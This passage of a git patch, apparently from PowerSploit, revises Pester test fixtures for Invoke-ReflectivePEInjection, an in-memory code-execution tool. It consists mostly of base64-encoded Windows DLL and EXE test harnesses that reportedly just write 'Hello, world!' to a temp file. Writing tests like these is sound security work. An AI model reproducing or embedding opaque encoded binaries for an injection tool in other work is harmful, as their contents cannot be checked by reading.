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' + $Encoded32BitExe = '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' $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) From 52c46b1d3a9b61122bdc4553665c7a56ac8744a1 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 17 Dec 2015 20:30:04 -0800 Subject: [PATCH 074/296] Revert "Invoke-ReflectivePEInjection test harnesses updated" This reverts commit 98ebc1b0b8b64d069d34d80c128aa226b5e8416f. --- Tests/CodeExecution.tests.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 index 514cb918..2771e780 100644 --- a/Tests/CodeExecution.tests.ps1 +++ b/Tests/CodeExecution.tests.ps1 @@ -225,11 +225,11 @@ Describe 'Invoke-ReflectivePEInjection' { # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called $Encoded64BitVoidDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABxqgfBNctpkjXLaZI1y2mSPLP6kjbLaZI1y2iSM8tpkheyjZI0y2mSF7K1kjTLaZIXsreSNMtpklJpY2g1y2mSAAAAAAAAAABQRQAAZIYDAKZ8PlYAAAAAAAAAAPAAIiALAgwAAAIAAAAEAAAAAAAAABAAAAAQAAAAAACAAQAAAAAQAAAAAgAABQACAAAAAAAFAAIAAAAAAABAAAAABAAAlVEAAAEAYAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAkCAAAF0AAADwIAAAKAAAAAAAAAAAAAAAADAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAACUBAAAAEAAAAAIAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADIAQAAACAAAAACAAAABgAAAAAAAAAAAAAAAAAAQAAAQC5wZGF0YQAADAAAAAAwAAAAAgAAAAgAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA